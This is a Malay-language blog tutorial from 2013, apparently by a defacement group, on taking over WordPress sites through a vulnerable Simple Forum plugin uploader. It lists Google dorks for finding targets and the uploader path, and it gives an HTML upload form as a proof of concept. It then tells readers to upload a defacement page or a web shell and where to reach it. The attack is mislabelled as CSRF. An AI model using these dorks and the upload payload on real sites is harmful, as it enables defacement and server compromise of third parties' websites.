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Friday, 29 November 2013

Tutorial CSRF

Assalamualaikum dan selamat malam :)
Harini aku nak ajar korang cara deface laman web menggunakan cara CSRF .

APAKAH ITU CSRF ?

CSRF bermaksud Cross Site Request Forgery 
Ok jom belajar xD

Macam biasa , korang masukkan dork ni dekat google search :

inurl:/plugins/simple-forum/
inurl:/wp-content/themes/shepard
inurl:/wp-content/themes/money
inurl:/wp-content/themes/clockstone
inurl:/wp-content/themes/ambleside
inurl:/wp-content/themes/pacifico

Lepas dah search . Korang ambik mana website dekat search tu dan tambah 
/resources/jscript/ajaxupload/sf-uploader.php 
 dekat belakang site tu contoh :
www.site.com/wp-content/plugins/simple-forum/resources/jscript/ajaxupload/sf-uploader.php 

Dah ? 

Kalau dah nanti dia akan keluar tulisan error . Kalau keluar tulisan access denied korang carilah laman web lain =)
Sekarang . Korang bukak notepad dan copy poc ni :

<form enctype="multipart/form-data"

action="www.site.com/wp-content/plugins/simple-forum/resources/jscript/ajaxupload/sf-uploader.php" method="post">

<input type="jpg" name="url" value="./" /><br />

Please choose a file: <input name="uploadfile" type="file" /><br />

<input type="submit" value="upload" />

</form>

Save poc tu dengan nama CSRF.html .
Yang warna biru tu korang padam dan letak link laman web vuln yang korang jumpa tadi tu . 

Bila korang bukak poc tu nanti dia akan keluar form upload . Jadi , upload lah deface korang ataupun shell korang =)
Nak tahu shell korang upload letak ni dekat belakang site.com :
/wp-content/plugins/simple-forum/resources/jscript/ajaxupload/namashell.php

Ok , Enjoy !!
Jangan lupa creditkan Black CyberSec Crew kalau berjaya nanti =)

 
 

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